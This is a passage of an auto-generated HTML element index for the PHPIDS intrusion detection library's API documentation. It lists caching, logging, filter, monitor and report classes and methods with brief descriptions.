href="PHPIDS/IDS_Report.html#methodcount">IDS_Report::count()</a> in Report.php</div> - <div class="index-item-description">Returns total amount of events</div> - </dd> - <dt class="field"> - <span class="include-title">Composite.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Composite.php.html">Composite.php</a> in Composite.php</div> - </dd> - </dl> - <a name="d"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">d</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$description</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$description">IDS_Filter::$description</a> in Filter.php</div> - <div class="index-item-description">Filter description</div> - </dd> - <dt class="field"> - <span class="include-title">Database.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Database.php.html">Database.php</a> in Database.php</div> - </dd> - <dt class="field"> - <span class="include-title">Database.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Database.php.html">Database.php</a> in Database.php</div> - </dd> - </dl> - <a name="e"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">e</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$events</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$events">IDS_Report::$events</a> in Report.php</div> - <div class="index-item-description">Event container</div> - </dd> - <dt class="field"> - <span class="include-title">Event.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Event.php.html">Event.php</a> in Event.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodexecute">IDS_Log_File::execute()</a> in File.php</div> - <div class="index-item-description">Stores given data into a file</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Interface.html#methodexecute">IDS_Log_Interface::execute()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodexecute">IDS_Log_Email::execute()</a> in Email.php</div> - <div class="index-item-description">Sends the report to registered recipients</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodexecute">IDS_Log_Composite::execute()</a> in Composite.php</div> - <div class="index-item-description">Iterates through registered loggers and executes them</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#methodexecute">IDS_Log_Database::execute()</a> in Database.php</div> - <div class="index-item-description">Stores given data into the database</div> - </dd> - <dt class="field"> - <span class="include-title">Email.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Email.php.html">Email.php</a> in Email.php</div> - </dd> - </dl> - <a name="f"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">f</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$filters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$filters">IDS_Event::$filters</a> in Event.php</div> - <div class="index-item-description">List of filter objects</div> - </dd> - <dt class="field"> - <span class="var-title">$filterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$filterSet">IDS_Filter_Storage::$filterSet</a> in Storage.php</div> - <div class="index-item-description">Filter container</div> - </dd> - <dt class="field"> - <span class="include-title">Factory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Factory.php.html">Factory.php</a> in Factory.php</div> - </dd> - <dt class="field"> - <span class="include-title">File.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---File.php.html">File.php</a> in File.php</div> - </dd> - <dt class="field"> - <span class="method-title">factory</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching.html#methodfactory">IDS_Caching::factory()</a> in Factory.php</div> - <div class="index-item-description">Factory method</div> - </dd> - <dt class="field"> - <span class="include-title">Filter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Filter.php.html">Filter.php</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="include-title">File.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---File.php.html">File.php</a> in File.php</div> - </dd> - </dl> - <a name="g"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">g</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="method-title">getBasePath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetBasePath">IDS_Init::getBasePath()</a> in Init.php</div> - <div class="index-item-description">This method checks if a base path is given and usage is set to true.</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodgetCache">IDS_Caching_Memcached::getCache()</a> in Memcached.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodgetCache">IDS_Caching_Session::getCache()</a> in Session.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodgetCache">IDS_Caching_Database::getCache()</a> in Database.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodgetCache">IDS_Caching_File::getCache()</a> in File.php</div> - <div class="index-item-description">Returns the cached data</div> - </dd> - <dt class="field"> - <span class="method-title">getCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetCentrifuge">IDS_Report::getCentrifuge()</a> in Report.php</div> - <div class="index-item-description">This method returns the centrifuge property or null if not filled with data</div> - </dd> - <dt class="field"> - <span class="method-title">getConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetConfig">IDS_Init::getConfig()</a> in Init.php</div> - <div class="index-item-description">Returns the config array</div> - </dd> - <dt class="field"> - <span class="method-title">getConfigPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodgetConfigPath">IDS_Init::getConfigPath()</a> in Init.php</div> - <div class="index-item-description">Returns path to configuration file</div> - </dd> - <dt class="field"> - <span class="method-title">getDescription</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetDescription">IDS_Filter::getDescription()</a> in Filter.php</div> - <div class="index-item-description">Returns filter description</div> - </dd> - <dt class="field"> - <span class="method-title">getEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetEvent">IDS_Report::getEvent()</a> in Report.php</div> - <div class="index-item-description">Get event by name</div> - </dd> - <dt class="field"> - <span class="method-title">getExceptions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetExceptions">IDS_Monitor::getExceptions()</a> in Monitor.php</div> - <div class="index-item-description">Returns exception array</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterFromJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterFromJson">IDS_Filter_Storage::getFilterFromJson()</a> in Storage.php</div> - <div class="index-item-description">Loads filters from Json file using ext/Json</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterFromXML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterFromXML">IDS_Filter_Storage::getFilterFromXML()</a> in Storage.php</div> - <div class="index-item-description">Loads filters from XML using SimpleXML</div> - </dd> - <dt class="field"> - <span class="method-title">getFilters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetFilters">IDS_Event::getFilters()</a> in Event.php</div> - <div class="index-item-description">Returns list of filter objects</div> - </dd> - <dt class="field"> - <span class="method-title">getFilterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodgetFilterSet">IDS_Filter_Storage::getFilterSet()</a> in Storage.php</div> - <div class="index-item-description">Returns registered filters</div> - </dd> - <dt class="field"> - <span class="method-title">getHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetHtml">IDS_Monitor::getHtml()</a> in Monitor.php</div> - <div class="index-item-description">Returns html array</div> - </dd> - <dt class="field"> - <span class="method-title">getId</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetId">IDS_Filter::getId()</a> in Filter.php</div> - <div class="index-item-description">Get filter ID</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetImpact">IDS_Event::getImpact()</a> in Event.php</div> - <div class="index-item-description">Returns calculated impact</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetImpact">IDS_Filter::getImpact()</a> in Filter.php</div> - <div class="index-item-description">Get filter impact level</div> - </dd> - <dt class="field"> - <span class="method-title">getImpact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetImpact">IDS_Report::getImpact()</a> in Report.php</div> - <div class="index-item-description">Returns total impact</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodgetInstance">IDS_Caching_Session::getInstance()</a> in Session.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodgetInstance">IDS_Caching_Database::getInstance()</a> in Database.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodgetInstance">IDS_Log_Email::getInstance()</a> in Email.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodgetInstance">IDS_Caching_Memcached::getInstance()</a> in Memcached.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodgetInstance">IDS_Caching_File::getInstance()</a> in File.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodgetInstance">IDS_Log_File::getInstance()</a> in File.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getInstance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#methodgetInstance">IDS_Log_Database::getInstance()</a> in Database.php</div> - <div class="index-item-description">Returns an instance of this class</div> - </dd> - <dt class="field"> - <span class="method-title">getIterator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetIterator">IDS_Report::getIterator()</a> in Report.php</div> - <div class="index-item-description">Return iterator object</div> - </dd> - <dt class="field"> - <span class="method-title">getIterator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetIterator">IDS_Event::getIterator()</a> in Event.php</div> - <div class="index-item-description">IteratorAggregate iterator getter</div> - </dd> - <dt class="field"> - <span class="method-title">getJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetJson">IDS_Monitor::getJson()</a> in Monitor.php</div> - <div class="index-item-description">Returns json array</div> - </dd> - <dt class="field"> - <span class="method-title">getName</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetName">IDS_Event::getName()</a> in Event.php</div> - <div class="index-item-description">Returns event name</div> - </dd> - <dt class="field"> - <span class="method-title">getReport</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetReport">IDS_Monitor::getReport()</a> in Monitor.php</div> - <div class="index-item-description">Returns report object providing various functions to work with detected results. Also the centrifuge data is being set as property of the report object.</div> - </dd> - <dt class="field"> - <span class="method-title">getRule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetRule">IDS_Filter::getRule()</a> in Filter.php</div> - <div class="index-item-description">Returns filter rule</div> - </dd> - <dt class="field"> - <span class="method-title">getStorage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetStorage">IDS_Monitor::getStorage()</a> in Monitor.php</div> - <div class="index-item-description">Returns storage container</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetTags">IDS_Filter::getTags()</a> in Filter.php</div> - <div class="index-item-description">Return list of affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetTags">IDS_Report::getTags()</a> in Report.php</div> - <div class="index-item-description">Returns list of affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetTags">IDS_Event::getTags()</a> in Event.php</div> - <div class="index-item-description">Returns affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getValue</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetValue">IDS_Event::getValue()</a> in Event.php</div> - <div class="index-item-description">Returns event value</div> - </dd> - </dl> - <a name="h"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">h</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="method-title">hasEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodhasEvent">IDS_Report::hasEvent()</a> in Report.php</div> - <div class="index-item-description">Checks if a specific event with given name exists</div> - </dd> - </dl> - <a name="i"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">i</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$impact">IDS_Event::$impact</a> in Event.php</div> - <div class="index-item-description">Calculated impact</div> - </dd> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$impact">IDS_Report::$impact</a> in Report.php</div> - <div class="index-item-description">Impact level</div> - </dd> - <dt class="field"> - <span class="var-title">$impact</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$impact">IDS_Filter::$impact</a> in Filter.php</div> - <div class="index-item-description">Filter impact level</div> - </dd> - <dt class="field"> - <span class="include-title">Interface.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Interface.php.html">Interface.php</a> in Interface.php</div> - </dd> - <dt class="field"> - IDS_Caching - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching.html">IDS_Caching</a> in Factory.php</div> - <div class="index-item-description">Caching factory</div> - </dd> - <dt class="field"> - IDS_Caching_Database - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html">IDS_Caching_Database</a> in Database.php</div> - <div class="index-item-description">Database caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_File - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html">IDS_Caching_File</a> in File.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_Interface - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a> in Interface.php</div> - <div class="index-item-description">Caching wrapper interface</div> - </dd> - <dt class="field"> - IDS_Caching_Memcached - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html">IDS_Caching_Memcached</a> in Memcached.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_Session - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html">IDS_Caching_Session</a> in Session.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Converter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html">IDS_Converter</a> in Converter.php</div> - <div class="index-item-description">PHPIDS specific utility class to convert charsets manually</div> - </dd> - <dt class="field"> - IDS_Event - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html">IDS_Event</a> in Event.php</div> - <div class="index-item-description">PHPIDS event object</div> - </dd> - <dt class="field"> - IDS_Filter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html">IDS_Filter</a> in Filter.php</div> - <div class="index-item-description">PHPIDS Filter object</div> - </dd> - <dt class="field"> - IDS_Filter_Storage - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html">IDS_Filter_Storage</a> in Storage.php</div> - <div class="index-item-description">Filter Storage</div> - </dd> - <dt class="field"> - IDS_Init - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html">IDS_Init</a> in Init.php</div> - <div class="index-item-description">Framework initiation</div> - </dd> - <dt class="field"> - IDS_Log_Composite - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html">IDS_Log_Composite</a> in Composite.php</div> - <div class="index-item-description">Log Composite</div> - </dd> - <dt class="field"> - IDS_Log_Database - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html">IDS_Log_Database</a> in Database.php</div> - <div class="index-item-description">Database logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_Email - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html">IDS_Log_Email</a> in Email.php</div> - <div class="index-item-description">Email logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_File - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html">IDS_Log_File</a> in File.php</div> - <div class="index-item-description">File logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_Interface - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a> in Interface.php</div> - <div class="index-item-description">Interface for logging wrappers</div> - </dd> - <dt class="field"> - IDS_Monitor - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html">IDS_Monitor</a> in Monitor.php</div> - <div class="index-item-description">Monitoring engine</div> - </dd> - <dt class="field"> - IDS_Report - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html">IDS_Report</a> in Report.php</div> - <div class="index-item-description">PHPIDS report object</div> - </dd> - <dt class="field"> - <span class="method-title">init</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodinit">IDS_Init::init()</a> in Init.php</div> - <div class="index-item-description">Returns an instance of this class. Also a PHP version check is being performed to avoid compatibility problems with PHP < 5.1.6</div> - </dd> - <dt class="field"> - <span class="include-title">Init.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Init.php.html">Init.php</a> in Init.php</div> - </dd> - <dt class="field"> - <span class="method-title">isEmpty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodisEmpty">IDS_Report::isEmpty()</a> in Report.php</div> - <div class="index-item-description">Checks if any events are registered</div> - </dd> - <dt class="field"> - <span class="method-title">isSpamAttempt</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodisSpamAttempt">IDS_Log_Email::isSpamAttempt()</a> in Email.php</div> - <div class="index-item-description">Detects spam attempts</div> - </dd> - <dt class="field"> - <span class="include-title">Interface.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Interface.php.html">Interface.php</a> in Interface.php</div> - </dd> - </dl> - <a name="l"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">l</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$loggers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#var$loggers">IDS_Log_Composite::$loggers</a> in Composite.php</div> - <div class="index-item-description">Holds registered logging wrapper</div> - </dd> - </dl> - <a name="m"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">m</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="include-title">Memcached.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Memcached.php.html">Memcached.php</a> in Memcached.php</div> - </dd> - <dt class="field"> - <span class="method-title">match</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodmatch">IDS_Filter::match()</a> in Filter.php</div> - <div class="index-item-description">Matches a string against current filter</div> - </dd> - <dt class="field"> - <span class="include-title">Monitor.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Monitor.php.html">Monitor.php</a> in Monitor.php</div> - </dd> - </dl> - <a name="n"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">n</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$name">IDS_Event::$name</a> in Event.php</div> - <div class="index-item-description">Event name</div> - </dd> - </dl> - <a name="p"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">p</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="method-title">prepareData</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodprepareData">IDS_Log_File::prepareData()</a> in File.php</div> - <div class="index-item-description">Prepares data</div> - </dd> - <dt class="field"> - <span class="method-title">prepareData</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodprepareData">IDS_Log_Email::prepareData()</a> in Email.php</div> - <div class="index-item-description">Prepares data</div> - </dd> - </dl> - <a name="r"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">r</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$rule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$rule">IDS_Filter::$rule</a> in Filter.php</div> - <div class="index-item-description">Filter rule</div> - </dd> - <dt class="field"> - <span class="method-title">removeLogger</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodremoveLogger">IDS_Log_Composite::removeLogger()</a> in Composite.php</div> - <div class="index-item-description">Removes a logger</div> - </dd> - <dt class="field"> - <span class="include-title">Report.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Report.php.html">Report.php</a> in Report.php</div> - </dd> - <dt class="field"> - <span class="method-title">run</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodrun">IDS_Monitor::run()</a> in Monitor.php</div> - <div class="index-item-description">Starts the scan mechanism</div> - </dd> - <dt class="field"> - <span class="method-title">runAll</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodrunAll">IDS_Converter::runAll()</a> in Converter.php</div> - <div class="index-item-description">Runs all converter functions</div> - </dd> - <dt class="field"> - <span class="method-title">runCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodrunCentrifuge">IDS_Converter::runCentrifuge()</a> in Converter.php</div> - <div class="index-item-description">This method is the centrifuge prototype</div> - </dd> - </dl> - <a name="s"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">s</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$scanKeys</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#var$scanKeys">IDS_Monitor::$scanKeys</a> in Monitor.php</div> - <div class="index-item-description">Scan keys switch</div> - </dd> - <dt class="field"> - <span class="var-title">$source</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$source">IDS_Filter_Storage::$source</a> in Storage.php</div> - <div class="index-item-description">Filter source file</div> - </dd> - <dt class="field"> - <span class="include-title">Session.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Session.php.html">Session.php</a> in Session.php</div> - </dd> - <dt class="field"> - <span class="include-title">Storage.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Filter---Storage.php.html">Storage.php</a> in Storage.php</div> - </dd> - <dt class="field"> - <span class="method-title">send</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodsend">IDS_Log_Email::send()</a> in Email.php</div> - <div class="index-item-description">Sends an email</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodsetCache">IDS_Caching_Database::setCache()</a> in Database.php</div> - <div class="index-item-description">Writes cache data into the database</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodsetCache">IDS_Caching_Memcached::setCache()</a> in Memcached.php</div> - <div class="index-item-description">Writes cache data</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodsetCache">IDS_Caching_File::setCache()</a> in File.php</div> - <div class="index-item-description">Writes cache data into the file</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodsetCache">IDS_Caching_Session::setCache()</a> in Session.php</div> - <div class="index-item-description">Writes cache data into the session</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - 